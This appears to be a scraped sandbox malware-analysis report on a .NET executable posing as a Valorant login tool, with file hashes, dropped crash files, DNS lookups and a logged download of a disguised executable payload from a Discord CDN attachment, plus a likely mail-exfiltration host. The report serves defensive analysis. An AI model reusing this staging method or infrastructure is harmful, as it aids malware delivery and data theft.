https://view.joesandbox.com/analysis/395084/html/none?idtype=webid
https://view.joesandbox.com/analysis/395061/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/395061/html/none?idtype=webid
https://view.joesandbox.com/analysis/394716/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394716/html/none?idtype=webid
https://view.joesandbox.com/analysis/394696/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394696/html/none?idtype=webid
https://view.joesandbox.com/analysis/394651/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394651/html/none?idtype=webid
https://view.joesandbox.com/analysis/394645/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394645/html/none?idtype=webid
https://view.joesandbox.com/analysis/394643/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394643/html/none?idtype=webid
https://view.joesandbox.com/analysis/394640/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394640/html/none?idtype=webid
https://view.joesandbox.com/analysis/394519/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394519/html/none?idtype=webid
https://view.joesandbox.com/analysis/394488/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394488/html/none?idtype=webid
https://view.joesandbox.com/analysis/394466/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394466/html/none?idtype=webid
https://view.joesandbox.com/analysis/394431/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394431/html/none?idtype=webid
https://view.joesandbox.com/analysis/394430/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394430/html/none?idtype=webid


Efe-8 GPP Project Steel Pipe Tender.exe Get hash malicious Browse 162.159.12
9.233

MV VTC GLORY.doc Get hash malicious Browse 162.159.12
9.233

PO # 7800017872.doc Get hash malicious Browse 162.159.12
9.233

BTL_01145120_160850IMG.doc Get hash malicious Browse 162.159.12
9.233

RQL_0506111780.exe Get hash malicious Browse 162.159.12
9.233

L8SM7IA2Pq.exe Get hash malicious Browse 162.159.12
9.233

l4puxn8v7H.exe Get hash malicious Browse 162.159.12
9.233

Match Associated Sample Name / URL SHA 256 Detection Link Context

No context

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_TqSDHvsKpt.exe_64f1c96cf9a7864d28f56ccad3f29a16bcf50b5_5cfa26da_122e9ca4
\Report.wer

Process: C:\Windows\SysWOW64\WerFault.exe

File Type: Little-endian UTF-16 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 65536

Entropy (8bit): 0.5507567115351037

Encrypted: false

SSDEEP: 96:teDMvbxzdeUfqBjVYQMMlHHxpLUpXIViZAXGng5FMTPSkvPkpXmTALfnVXT5Ur9d:gITxzrfqBrm2/u7syS274It1V

MD5: 9AD1D9E5F43EE26D33A57241671EC0CF

SHA1: 325ABA4C0FE509B82AAD6D97C6F6C4C78A22016B

SHA-256: 39D86AE81F51944B4A3FBF85ABFDCBF503B7F106AD692AEF6E1D2C2C24CDBA2D

SHA-512: 9234A4A59034983F256CDFD4675F174A486EFC8033822F7D753D5C10D9E2E87DED24D0E37EFEDDACB560A9BEEAB9E688128E7893C276080408F8754E03C72184

Malicious: true

Reputation: low

Preview:
..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.2.7.8.6.9.7.9.4.2.4.8.7.6.8.5.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.
e.=.1.3.2.7.8.6.9.7.9.5.0.9.8.7.6.3.2.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.1.a.c.6.f.1.2.-.8.e.4.9.-.4.5.d.2.-.b.c.3.4.-.3.f.d.7.f.2.8.c.2.a.6.
f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.6.4.b.d.0.6.e.-.a.c.5.1.-.4.1.0.d.-.9.3.7.e.-.a.f.4.a.b.2.4.d.e.e.4.0.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.
=.3.3.2.....N.s.A.p.p.N.a.m.e.=.T.q.S.D.H.v.s.K.p.t...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.V.a.l.o.r.a.n.t.L.o.g.i.n...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.6.f.4.-.0.0.0.
1.-.0.0.1.7.-.5.c.c.4.-.5.a.d.f.0.d.c.1.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.a.0.c.d.6.8.7.3.7.2.4.3.3.f.7.b.8.4.5.b.8.1.0.0.9.9.8.7.9.8.1.f.0.0.0.0.0.0.0.0.!.0.0.0.0.e.
d.4.2.b.1.1.a.c.3.4.0.a.8.b.7.4.2.c.e.6.1.c.2.5.5.9.b.0.1.5.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3EF.tmp.WERInternalMetadata.xml
Process: C:\Windows\SysWOW64\WerFault.exe

File Type: XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 7972

Entropy (8bit): 3.695769605149958

Encrypted: false

SSDEEP: 192:Rrl7r3GLNi2n6t6YgoSU9wlgmfZVS9CprL89buTsfM46m:RrlsNiW6t6YfSU9wlgmfLSZu4fM0

MD5: 8A08FDCC4E57BD7E7866BB0BCB98EE51

SHA1: 93195BC6D55AB1366EDF2A31815425E4ED02D6CD

SHA-256: B636CAD1B89A5256B8FC1DE561897971936F6569754CB5CCE5DDC1CDD05730CE

SHA-512: F985EA976798ABBF7E1170A37E56511BF12525A01AB79B123B23F9C240F635D7EDBFDC556C6FBD679222FFA5379A99E354978E7918E001FA0EAFC59EC6D5548C

Malicious: false

Reputation: low

Preview:
..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.
o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.
<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.
<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.
A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.8.7.6.<./.P.i.
d.>.......

Dropped Files

Created / dropped Files
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https://view.joesandbox.com/analysis/394428/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394428/html/none?idtype=webid
https://view.joesandbox.com/analysis/394407/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394407/html/none?idtype=webid
https://view.joesandbox.com/analysis/394406/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394406/html/none?idtype=webid
https://view.joesandbox.com/analysis/394388/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394388/html/none?idtype=webid
https://view.joesandbox.com/analysis/394359/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394359/html/none?idtype=webid
https://view.joesandbox.com/analysis/394355/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394355/html/none?idtype=webid
https://view.joesandbox.com/analysis/394318/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394318/html/none?idtype=webid


C:\ProgramData\Microsoft\Windows\WER\Temp\WER6AF.tmp.xml
Process: C:\Windows\SysWOW64\WerFault.exe

File Type: XML 1.0 document, ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 4754

Entropy (8bit): 4.477560417066531

Encrypted: false

SSDEEP: 48:cvIwSD8zsPJgtWI9AuWSC8BI98fm8M4J6NZNVFFlIz+q8vwNVqLtjArN0wN0hYd:uITfxbPSNxJ6PGzKwQMuwuhYd

MD5: C1B8D23322C8562CDB8F0C88274839F1

SHA1: 13BC07542AC21FCD3F950B40C5BF3F0969457307

SHA-256: 1EF27525769720051768014F93C15BE32328E0E0E56F13DDE865794363C02306

SHA-512: 41F4A451BA20175073B40CF5CDE8D52B8542C64302F84472F358804CBC40E63BF71CEE962C85075B4AB7B86526FA766EADB78271FCB71FF474BCB86BEBC8DE9
4

Malicious: false

Reputation: low

Preview:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">..  <tlm>..    <src>..      <desc>..        <mach>..          <os>..            <arg nm="vermaj" val="10" 
/>..            <arg nm="vermin" val="0" />..            <arg nm="verbld" val="17134" />..            <arg nm="vercsdbld" val="1" />..            <arg nm="verqfe" val="1" />..            
<arg nm="csdbld" val="1" />..            <arg nm="versp" val="0" />..            <arg nm="arch" val="9" />..            <arg nm="lcid" val="1033" />..            <arg nm="geoid" 
val="244" />..            <arg nm="sku" val="48" />..            <arg nm="domain" val="0" />..            <arg nm="prodsuite" val="256" />..            <arg nm="ntprodtype" val="1" 
/>..            <arg nm="platid" val="2" />..            <arg nm="tmsi" val="1209623" />..            <arg nm="osinsty" val="1" />..            <arg nm="iever" val="11.1.17134.0-
11.0.47" />..            <arg nm="portos" val="0" />..            <arg nm="ram" val="4096" />..     

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFB24.tmp.dmp
Process: C:\Windows\SysWOW64\WerFault.exe

File Type: Mini DuMP crash report, 15 streams, CheckSum 0x00000004, Thu Oct 14 15:12:24 2021, 0x1205a4 type

Category: dropped

Size (bytes): 13586

Entropy (8bit): 3.0344231092871876

Encrypted: false

SSDEEP: 96:5+8Ho8M/0QINGI585OLBZIE3hxKIHsyWsIB8U6eZi76QCCKocC9ubB6pGSHFFT:XH4/IQI585OFZIE3aNiIB82O6SAWT

MD5: BEDBB6B6D54D4875628B361846A0F4BF

SHA1: D6DA5B0911B4BF24D8B9AEBD3001DAA3EFA65123

SHA-256: B89CA63C64C70A5871BE6D69BE60D55507CAADDF00B28D4B1CA374CBF6E26225

SHA-512: CB434D64D8C99AD0ADC359760DF269100B37F55DF3868774A77AFB4004C7FF9F59EDB4E2DE3E90488A442B474D45018AD9DFE2B6818AA44D472432E66E5D52F5

Malicious: false

Reputation: low

Preview:
MDMP....... ........Hha............4...........<...H.......<....&...........5..........`.......8...........T................&...........(...............................................................................U...........B......D)...
...GenuineIntelW...........T............Hha.............................0..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e....
.......................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4..............................................................................................................................
..............................................................................................................................................................................................................................................................................
.............................

C:\Windows\appcompat\Programs\Amcache.hve
Process: C:\Windows\SysWOW64\WerFault.exe

File Type: MS Windows registry file, NT/2000 or above

Category: dropped

Size (bytes): 1572864

Entropy (8bit): 4.280416863868401

Encrypted: false

SSDEEP: 12288:lo18dScG22+QayrIX755x5fcfQnjWw6c7KjvHMQIPMnnKUeKYy:qidScG22+QayrIr3XnA

MD5: BE910B4067CE965D5CC5824CC7F05CEA

SHA1: 110BD305B966719C50881BB2966C1DED7AD71F8C

SHA-256: 75ECD4E05B0C7584AF0861D0AA2068A47A2B526270275B06B0EB66D9467E6C28

SHA-512: 504B0B47166337EF4CED41C610E3C77F3176A305ACBD8F0D6E90A68A0CD41287EA96F48E581358A1430F4CCAE4E60E0991F73738D93EA8E03792051D7C45E0AE

Malicious: false

Reputation: low

Preview:
regfW...W...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm>kq....................................................
..............................................................................................................................................................................................................................................................................
...............s)u............................................................................................................................................................................................................................................................
.............................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve.LOG1
Process: C:\Windows\SysWOW64\WerFault.exe

File Type: MS Windows registry file, NT/2000 or above

Category: dropped

Size (bytes): 24576

Entropy (8bit): 4.08851648582271
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Static File Info

General
File type: PE32 executable (GUI) Intel 80386 Mono/.Net assemb

ly, for MS Windows

Entropy (8bit): 6.387617500497122

TrID: Win32 Executable (generic) Net Framework 
(10011505/4) 49.83%
Win32 Executable (generic) a (10002005/4) 
49.78%
Generic CIL Executable (.NET, Mono, etc.) 
(73296/58) 0.36%
Generic Win/DOS Executable (2004/3) 0.01%
DOS Executable Generic (2002/1) 0.01%

File name: TqSDHvsKpt.exe

File size: 37888

MD5: b063d4a9942d8b820ad62d2359d5263d

SHA1: ed42b11ac340a8b742ce61c2559b0154bcd75740

SHA256: 25cb04e6ce30f98f9cad9aa1fab3682067d2fee08cc09fe7
accf657b2df04a23

SHA512: a4890ca4489ca9ccf5271a957dee6e3e2bd9344189cb70
96071b0d94fec007f623c83da614722b39229beaf5be161
2d180767dc8110ef82262e7f7ae3e10623b

SSDEEP: 768:tWCvmmpo62G8V2D8MfjYPPKvVQEvRvvrovFf/3O
v75nARxcjN:trvPpo62xV2D8MfjYnKdQEvpv0N33sFR

File Content Preview: MZ......................@...............................................!..L.!Th
is program cannot be run in DOS mode....$.......PE..L....
+................0.................. ........@.. ...................................
.@................................

File Icon

Icon Hash: 00828e8e8686b000

Encrypted: false

SSDEEP: 384:GGa6253ELxxkGRu3GvYgnh9SaPgSpafY0v+ycAhBzpfsxjQOS6XadUn7NE:GT6436xkiu34YgzSaPfpafY02ycAfspv

MD5: C22CFF4B9C313BF5FA30A7E098948389

SHA1: F0EA17BE3D6D60093A40BD457BD9C13F3EE094CD

SHA-256: 439FC907E1999E1DDC28A9BE38540037B5945441131E805A27FD5EE1B14D0CB6

SHA-512: 0E6CC2CC10A2F717A975289692D7B557CAFD0C01E1DDEA7B8206003D453C4730356F6C7A7EFD0A3E92D666B6ABB09F479B8E22789A37FBF02D79702CAAD1537
E

Malicious: false

Reputation: low

Preview:
regfV...V...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm>kq....................................................
..............................................................................................................................................................................................................................................................................
...............u)u.HvLE.^......V...........#8`.<...Q../..=n.................0......................hbin................p.\..,..........nk,...s.........P........................... ...........................&...{ad79c032-a2ea-f756
-e377-72fb9332c3ae}......nk ...s......... ...........8~.............. .......Z.......................Root........lf......Root....nk ...s.................................... ...............*...............DeviceCensus..............
.........vk..................WritePermissions

C:\Windows\appcompat\Programs\Amcache.hve.LOG1

General
Entrypoint: 0x40a8fe

Entrypoint Section: .text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: 32BIT_MACHINE, EXECUTABLE_IMAGE

DLL Characteristics: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Time Stamp: 0xDEF32B19 [Mon Jul 12 13:43:53 2088 UTC]

TLS Callbacks:

CLR (.Net) Version: v4.0.30319

OS Version Major: 4

Static PE Info
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Network Port Distribution

OS Version Minor: 0

File Version Major: 4

File Version Minor: 0

Subsystem Version Major: 4

Subsystem Version Minor: 0

Import Hash: f34d5f2d4577ed6d9ceec516c1f5a744

General

Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

.text 0x2000 0x8904 0x8a00 False 0.479647871377 data 6.54161928485 IMAGE_SCN_MEM_EXECUTE, 
IMAGE_SCN_CNT_CODE, 
IMAGE_SCN_MEM_READ

.rsrc 0xc000 0x5c8 0x600 False 0.416015625 data 4.10184612222 IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ

.reloc 0xe000 0xc 0x200 False 0.041015625 data 0.0611628522412 IMAGE_SCN_CNT_INITIALIZED_D
ATA, 
IMAGE_SCN_MEM_DISCARDABL
E, IMAGE_SCN_MEM_READ

Network Behavior

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Oct 14, 2021 08:12:16.769643068 CEST 192.168.2.7 8.8.8.8 0x73bd Standard query 
(0)

cdn.discor
dapp.com

A (IP address) IN (0x0001)

Oct 14, 2021 08:14:07.278143883 CEST 192.168.2.7 8.8.8.8 0x2ae1 Standard query 
(0)

mail.dpobu
mber.com

A (IP address) IN (0x0001)

Oct 14, 2021 08:14:07.353507996 CEST 192.168.2.7 8.8.8.8 0xf262 Standard query 
(0)

mail.dpobu
mber.com

A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Oct 14, 2021 
08:12:16.790950060 
CEST

8.8.8.8 192.168.2.7 0x73bd No error (0) cdn.discor
dapp.com

162.159.129.233 A (IP address) IN (0x0001)

Oct 14, 2021 
08:12:16.790950060 
CEST

8.8.8.8 192.168.2.7 0x73bd No error (0) cdn.discor
dapp.com

162.159.133.233 A (IP address) IN (0x0001)

Oct 14, 2021 
08:12:16.790950060 
CEST

8.8.8.8 192.168.2.7 0x73bd No error (0) cdn.discor
dapp.com

162.159.134.233 A (IP address) IN (0x0001)

Oct 14, 2021 
08:12:16.790950060 
CEST

8.8.8.8 192.168.2.7 0x73bd No error (0) cdn.discor
dapp.com

162.159.130.233 A (IP address) IN (0x0001)

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

TCP Packets

UDP Packets

DNS Queries

DNS Answers
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Oct 14, 2021 
08:12:16.790950060 
CEST

8.8.8.8 192.168.2.7 0x73bd No error (0) cdn.discor
dapp.com

162.159.135.233 A (IP address) IN (0x0001)

Oct 14, 2021 
08:14:07.315319061 
CEST

8.8.8.8 192.168.2.7 0x2ae1 No error (0) mail.dpobu
mber.com

dpobumber.com CNAME 
(Canonical name)

IN (0x0001)

Oct 14, 2021 
08:14:07.315319061 
CEST

8.8.8.8 192.168.2.7 0x2ae1 No error (0) dpobumber.com 212.1.210.54 A (IP address) IN (0x0001)

Oct 14, 2021 
08:14:07.398900986 
CEST

8.8.8.8 192.168.2.7 0xf262 No error (0) mail.dpobu
mber.com

dpobumber.com CNAME 
(Canonical name)

IN (0x0001)

Oct 14, 2021 
08:14:07.398900986 
CEST

8.8.8.8 192.168.2.7 0xf262 No error (0) dpobumber.com 212.1.210.54 A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

            
cdn.discordapp.com

         

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.7 49726 162.159.129.233 443 C:\Users\user\Desktop\TqSDHvsKpt.exe

Timestamp
kBytes
transferred Direction Data

2021-10-14 06:12:17 UTC 0 OUT GET /attachments/893177342426509335/897762616452214784/6F7A5FA1.jpg HTTP/1.1
Host: cdn.discordapp.com
Connection: Keep-Alive

2021-10-14 06:12:17 UTC 0 IN HTTP/1.1 200 OK
Date: Thu, 14 Oct 2021 06:12:17 GMT
Content-Type: image/jpeg
Content-Length: 987428
Connection: close
CF-Ray: 69dea7b7bca05b3e-FRA
Accept-Ranges: bytes
Age: 74543
Cache-Control: public, max-age=31536000
ETag: "67a165a9d5ef8d74cbd959cd30243f91"
Expires: Fri, 14 Oct 2022 06:12:17 GMT
Last-Modified: Wed, 13 Oct 2021 08:28:07 GMT
Vary: Accept-Encoding
CF-Cache-Status: HIT
Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Cf-Bgj: h2pri
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
x-goog-generation: 1634113687441744
x-goog-hash: crc32c=uWmB0A==
x-goog-hash: md5=Z6FlqdXvjXTL2VnNMCQ/kQ==
x-goog-metageneration: 1
x-goog-storage-class: STANDARD
x-goog-stored-content-encoding: identity
x-goog-stored-content-length: 987428
X-GUploader-UploadID: ADPycdt88uxNKslZ1HK54Ler8aOtg5sC3wWbaxxfR4DpP7QgVbfBxxK_Jv3rnflPz2ftjKmsNwZURn
JYToBlJTP8qmnp-2TTeg
X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=bFkQNoSNoleD4iMCq8PzdXlBAyksSFKq
KlJfwKrMsAz7ehWzV3nA%2BOkNxEUUhs3CVZ5RKzSjWKIMNADOa9z6DyrYEF5ARWnk3aWDnFg1nUAmMO
rM7WEa2N1%2BviF4p93UtbpUrw%3D%3D"}],"group":"cf-nel","max_age":604800}

2021-10-14 06:12:17 UTC 1 IN Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 
22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 
6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a 
Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare

2021-10-14 06:12:17 UTC 1 IN Data Raw: 37 37 20 39 30 20 31 34 34 20 30 20 33 20 30 20 30 20 30 20 34 20 30 20 30 20 30 20 32 35 35 20 32 35 35 
20 30 20 30 20 31 38 34 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 36 34 20 30 20 30 20 30 20 30 20 30 20 30 20 30 
20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 
30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 31 32 38 20 30 20 30 20 30 20 31 34 20 33 31 20 31 38 36 20 31 
34 20 30 20 31 38 30 20 39 20 32 30 35 20 33 33 20 31 38 34 20 31 20 37 36 20 32 30 35 20 33 33 20 38 34 20 31 30 34 
20 31 30 35 20 31 31 35 20 33 32 20 31 31 32 20 31 31 34 20 31 31 31 20 31 30 33 20 31 31 34 20 39 37 20 31 30 39 20 
33 32 20 39 39 20 39 37 20 31 31 30 20 31 31 30 20 31 31 31 20 31 31 36 20 
Data Ascii: 77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 0 0 0 0 0 0 64 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 
0 0 0 0 0 0 0 0 0 128 0 0 0 14 31 186 14 0 180 9 205 33 184 1 76 205 33 84 104 105 115 32 112 114 111 103 114 97 109 
32 99 97 110 110 111 116 

HTTP Request Dependency Graph

HTTPS Proxied Packets
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2021-10-14 06:12:17 UTC 2 IN Data Raw: 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 32 35 20 34 30 20 32 32 39 20 
31 30 39 20 31 31 35 20 35 30 20 34 38 20 35 30 20 35 30 20 38 34 20 31 31 34 20 31 31 37 20 31 34 36 20 31 34 33 20 
35 30 20 34 38 20 31 33 38 20 35 34 20 38 34 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20 31 31 32 20 
35 30 20 35 34 20 38 34 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20 34 38 20 35 30 20 35 34 20 38 34 
20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20 34 38 20 35 30 20 35 34 20 38 34 20 31 31 34 20 31 31 37 
20 31 30 39 20 31 31 32 20 35 30 20 34 38 20 35 30 20 35 34 20 38 34 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 32 
20 35 30 20 31 37 36 20 35 30 20 35 34 20 38 34 20 31 32 34 20 31 30 36 20 
Data Ascii:  0 0 0 0 0 0 0 0 0 0 0 0 25 40 229 109 115 50 48 50 50 84 114 117 146 143 50 48 138 54 84 114 117 109 112 
50 112 50 54 84 114 117 109 112 50 48 50 54 84 114 117 109 112 50 48 50 54 84 114 117 109 112 50 48 50 54 84 114 
117 109 112 50 176 50 54 84 124 106 

2021-10-14 06:12:17 UTC 4 IN Data Raw: 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20 34 38 20 35 30 20 35 34 20 38 34 20 31 31 34 20 31 31 37 
20 31 30 39 20 31 31 32 20 35 30 20 34 38 20 31 38 20 35 34 20 38 34 20 31 38 20 39 31 20 33 31 20 33 20 36 34 20 38 
33 20 35 30 20 35 34 20 38 34 20 31 37 38 20 31 31 38 20 31 30 39 20 31 31 32 20 35 30 20 31 37 36 20 34 39 20 35 34 
20 38 34 20 31 31 38 20 31 31 37 20 31 30 39 20 31 31 32 20 31 30 34 20 35 31 20 35 30 20 35 34 20 38 34 20 31 31 34 
20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20 34 38 20 35 30 20 35 34 20 38 34 20 31 31 34 20 35 33 20 31 30 39 20 
31 31 32 20 31 31 34 20 33 30 20 36 34 20 38 33 20 35 36 20 32 39 20 32 32 20 31 30 39 20 31 31 32 20 36 32 20 34 38 
20 35 30 20 35 34 20 38 34 20 32 31 30 20 31 31 38 20 31 30 39 20 31 31 32 
Data Ascii:  117 109 112 50 48 50 54 84 114 117 109 112 50 48 18 54 84 18 91 31 3 64 83 50 54 84 178 118 109 112 50 
176 49 54 84 118 117 109 112 104 51 50 54 84 114 117 109 112 50 48 50 54 84 114 53 109 112 114 30 64 83 56 29 22 1
09 112 62 48 50 54 84 210 118 109 112

2021-10-14 06:12:17 UTC 5 IN Data Raw: 20 31 30 33 20 35 37 20 34 38 20 35 33 20 34 36 20 31 37 30 20 31 31 35 20 38 39 20 31 31 31 20 39 31 20 
34 38 20 32 37 20 32 30 39 20 37 32 20 38 37 20 31 31 34 20 31 31 37 20 31 30 35 20 33 31 20 36 32 20 34 38 20 35 30 
20 36 30 20 31 32 36 20 39 37 20 36 39 20 31 31 31 20 31 31 32 20 33 30 20 34 38 20 35 30 20 35 34 20 38 30 20 31 31 
34 20 31 31 37 20 31 32 34 20 31 30 32 20 35 37 20 32 37 20 34 31 20 35 34 20 38 33 20 31 30 31 20 31 33 39 20 31 30 
38 20 39 32 20 34 38 20 34 30 20 35 37 20 35 34 20 38 33 20 31 30 30 20 31 33 39 20 31 30 38 20 39 32 20 34 38 20 33 
39 20 35 37 20 35 34 20 38 33 20 31 30 36 20 31 33 39 20 31 30 38 20 39 32 20 34 38 20 32 37 20 34 38 20 32 39 20 31 
38 33 20 31 32 20 31 31 33 20 31 30 39 20 31 31 32 20 35 34 20 39 35 20 36 
Data Ascii:  103 57 48 53 46 170 115 89 111 91 48 27 209 72 87 114 117 105 31 62 48 50 60 126 97 69 111 112 30 48 50 
54 80 114 117 124 102 57 27 41 54 83 101 139 108 92 48 40 57 54 83 100 139 108 92 48 39 57 54 83 106 139 108 92 48 
27 48 29 183 12 113 109 112 54 95 6

2021-10-14 06:12:17 UTC 6 IN Data Raw: 31 20 32 36 20 34 34 20 35 32 20 31 32 34 20 31 30 31 20 31 31 37 20 31 30 39 20 31 32 32 20 32 34 20 33 
35 20 32 20 35 32 20 38 34 20 36 31 20 31 31 37 20 31 30 39 20 31 31 32 20 35 37 20 34 38 20 35 30 20 33 39 20 36 36 
20 31 32 31 20 39 34 20 34 36 20 31 31 32 20 35 33 20 34 31 20 32 30 34 20 35 35 20 31 32 30 20 31 32 36 20 39 33 20 
31 31 31 20 31 31 32 20 35 30 20 32 37 20 31 37 38 20 34 35 20 38 34 20 31 31 34 20 31 32 37 20 31 31 39 20 31 32 33 
20 35 30 20 35 35 20 33 37 20 32 30 30 20 38 35 20 39 34 20 31 31 39 20 31 31 37 20 31 32 33 20 35 30 20 35 35 20 34 
32 20 32 30 30 20 38 35 20 39 34 20 31 32 33 20 31 39 20 31 30 37 20 35 30 20 34 38 20 35 36 20 31 38 36 20 38 33 20 
31 31 34 20 31 31 37 20 31 31 38 20 39 33 20 33 36 20 34 31 20 35 37 20 35 
Data Ascii: 1 26 44 52 124 101 117 109 122 24 35 2 52 84 61 117 109 112 57 48 50 39 66 121 94 46 112 53 41 204 55 
120 126 93 111 112 50 27 178 45 84 114 127 119 123 50 55 37 200 85 94 119 117 123 50 55 42 200 85 94 123 19 107 50 
48 56 186 83 114 117 118 93 36 41 57 5

2021-10-14 06:12:17 UTC 8 IN Data Raw: 34 20 31 31 32 20 35 30 20 35 32 20 32 36 20 33 20 38 36 20 31 31 34 20 31 31 35 20 32 33 37 20 39 34 20 
35 30 20 34 38 20 35 34 20 33 30 20 39 38 20 31 31 32 20 31 31 37 20 31 30 37 20 32 34 30 20 32 39 20 34 38 20 35 30 
